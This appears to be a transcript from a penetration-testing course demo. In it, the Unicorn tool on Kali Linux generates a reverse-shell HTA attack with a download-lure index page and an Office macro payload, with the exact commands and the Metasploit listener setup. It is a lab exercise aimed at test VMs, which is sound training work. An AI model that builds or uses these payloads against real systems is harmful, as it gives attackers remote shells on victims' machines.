In this demo, we will create payloads that we will test in the next demo
using Unicorn. We use Unicorn to generate PowerShell commands and create
multiple payloads using different attack types with the built‑in tools.
Using these features in Unicorn allows you to quickly and easily develop
multiple attacks for execution.
Let's head over to our Kali Linux machine and get started. For
the first attack, we're going to use the built‑in tools to
create an HTML application, or HTA.
To make this attack,
we type python unicorn.py windows/shell_reverse_tcp followed by
the IP address of our Kali Linux machine.
Next we need a port, so we'll use 443. Last, we type hta to specify that option.
Unicorn will generate the necessary files and place
them in a directory called hta_attack.
Let's take a quick look at the files generated. The
index.html file allows us to send the IP address of our
server hosting the files only as the link.
The index file just directs the browser to download the Launcher.hta file.
This file is our malicious HTML application that will run
our reverse_shell payload on the target.
Last, we have a Metasploit file that allows us to easily set up a
listener in Metasploit. For our second attack,
we'll use a macro that we can embed into an Office document. To create
this payload, we type python unicorn.py windows/shell_reverse_tcp followed
by the IP address of our Kali Linux machine.
This time we use port 4444 and follow the command with macro.
This places our PowerShell command and powershell_attack.txt.
We also get a file that we can run in the Metasploit
console in our default directory.
Now that we've created our two attacks,
we're ready for our next demo, where we're going to test them out on
both the Metasploitable VM and our Windows 10 host.